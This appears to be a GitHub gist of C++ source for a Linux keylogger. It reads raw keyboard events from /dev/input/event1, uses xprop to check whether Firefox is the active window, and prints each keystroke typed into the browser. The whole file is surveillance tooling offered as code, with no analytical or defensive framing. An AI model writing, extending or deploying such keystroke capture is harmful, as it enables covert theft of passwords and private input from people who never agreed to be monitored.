gistfile1.txt

#include <iostream>
#include <fstream>
#include <cstring>
#include <linux/input.h>

using namespace std;

#include <string>
#include <iostream>
#include <stdio.h>
using namespace std;


std::string exec(char *cmd) {
    FILE *pipe = popen(cmd, "r");
    if (!pipe) return "ERROR";
    char buffer[128];
    std::string result = "";
    while(!feof(pipe)) {
        if(fgets(buffer, 128, pipe) != NULL)
                result += buffer;
    }
    pclose(pipe);
    return result;
}

std::string toChar(int value)
{
    switch(value)
    {
        case 1: return "ESC"; 
        case 59: return "F1"; 
        case 60: return "F2";
        case 61: return "F3";
        case 62: return "F4";
        case 63: return "F5";
        case 64: return "F6";
        case 65: return "F7";
        case 66: return "F8";
        case 67: return "F9";
        case 68: return "F10";
        case 87: return "F11";
        case 88: return "F12";
        case 99: return "PRT SCREEN";
        case 110: return "INSERT";
        case 111: return "DELETE";
        case 104: return "PG UP";
        case 109: return "PG DOWN";
        case 102: return "HOME";
        case 107: return "END";
        case 41: return "`";
        case 2: return "1 LEFT";
        case 3: return "2 LEFT";
        case 4: return "3 LEFT";
        case 5: return "4 LEFT";
        case 6: return "5 LEFT";
        case 7: return "6 LEFT";
        case 8: return "7 LEFT";
        case 9: return "8 LEFT";
        case 10: return "9 LEFT";
        case 11: return "0 LEFT";
        case 12: return "- LEFT";
        case 13: return "=";
        case 14: return "BACKSPACE";
        case 69: return "NUMLOCK";
        case 98: return "/";
        case 55: return "*";
        case 74: return "- RIGHT";
        case 15: return "TAB";
        case 16: return "q";
        case 17: return "w";
        case 18: return "e";
        case 19: return "r";
        case 20: return "t";
        case 21: return "y";
        case 22: return "u";
        case 23: return "i";
        case 24: return "o";
        case 25: return "p";
        case 26: return "{";
        case 27: return "}";
        case 43: return "\\";
        case 71: return "7 RIGHT";
        case 72: return "8 RIGHT";
        case 73: return "9 RIGHT";
        case 78: return "+";
        case 58: return "CAPLOCK ON";
        case 30: return "a";
        case 31: return "s";
        case 32: return "d";
        case 33: return "f";
        case 34: return "g";
        case 35: return "h";
        case 36: return "j";
        case 37: return "k";
        case 38: return "l";
        case 39: return ";";
        case 40: return "'";
        case 28: return "LEFT ENTER";
        case 75: return "4 RIGHT";
        case 76: return "5 RIGHT";
        case 77: return "6 RIGHT";
        case 42: return "LEFT SHIFT";
        case 44: return "z";
        case 45: return "x";
        case 46: return "c";
        case 47: return "v";
        case 48: return "b";
        case 49: return "n";
        case 50: return "m";
        case 51: return ",";
        case 52: return ". LEFT";
        case 53: return "/";
        case 54: return "RIGHT SHIFT";
        case 79: return "1 RIGHT";
        case 80: return "2 RIGHT";
        case 81: return "3 RIGHT";
        case 96: return "RIGHT ENTER";
        case 29: return "RIGHT CTRL";
        case 125: return "WINDOWS";
        case 56: return "LEFT ALT";
        case 57: return "SPACE";
        case 100: return "RIGHT ALT";
        case 97: return "LEFT CTRL";
        case 105: return "LEFT ARROW";
        case 108: return "DOWN ARROW";
        case 106: return "RIGHT ARROW";
        case 103: return "UP ARROW";
        case 82: return "0";
        case 83: return ". RIGHT";
    }
}

int check(std::string name)
{
    std::string::size_type t = name.find("Firefox");
    if ( t == std::string::npos  )
        return 0;
    return 1;
}
//structure to hold event info
struct input_event event;

int main(int argc, char *argv[]) {
    
    cout << "Receiving Keyboard Presses!" << endl;
    
    //open the file for reading
    ifstream file("/dev/input/event1");//where input from keyboard store
    
    //temp storage for event
    char data[sizeof(event)];
    
    //check if file opened!
    if(file.is_open()) 
    {
         // xprop -id <window_id> to get window_name
        string win_name =  exec("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str();
        while ( true )
        {
            std::string win_name =  exec("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str();
            while( check(win_name) == 1 ) 
            {

                file.read(data, sizeof(event));
                //now copy the data to the struct
                memcpy(&event, data, sizeof(event));
                //now lets read the event
                //event type
                if(event.type == EV_KEY)
                    cout << "Key Press " << toChar(event.code) << endl;
                win_name =  exec("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str();
            }
        file.read(data, sizeof(event));
        //now copy the data to the struct
        memcpy(&event, data, sizeof(event));
    }
        
        //dont forget to close the file
        file.close();
    }
    else {
        
        cout << "Unable to open file!" << endl;
        return 1;
    }
    
    return 0;
}